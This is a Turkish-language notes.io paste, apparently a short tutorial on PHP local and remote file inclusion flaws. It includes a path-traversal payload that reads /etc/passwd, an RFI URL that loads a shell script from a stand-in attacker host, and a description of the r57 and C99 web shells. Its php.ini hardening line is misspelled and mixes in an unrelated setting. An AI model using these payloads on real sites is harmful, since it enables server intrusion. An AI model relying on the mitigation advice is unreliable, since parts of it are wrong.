NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

LFI (Local File Inclusion) Örneği
index.php dosyası:
<?php
include($_GET['sayfa'])
?>
Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:
index.php?sayfa=haberler.php
index.php?sayfa=iletisim.php
En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:
* index.php?sayfa=../../../../../../../../../etc/passwd
Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..
RFI (Remote File Inclusion) Örneği
index2.php dosyası:
include(“$duyurular/guncel/duyuru.php”);
Bu satırdaki “$” işareti bulunan paramtreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.
“http://www.hedef.com/index2.php?duyurular=http://saldirgan.com/shell.txt?”
Yukarıdaki şekilde, http://saldirgan.com/shell.txt? adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır…

Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemelr yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.

– KORUNMA –

Yöntem 1
Yazılan kodların RFI açıklarına karşı kontrol edilmesi.
Zayıf Kod:
<?php
include ($ornek. ‘../index.php’);
?>
Güvenli Kod:
<?php
$ornek= ‘veri’;
include ($ornek. ‘../index.php’);
?>
örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamaızı sağlayacaktır.

Yöntem 2
php.ini
/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:
disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.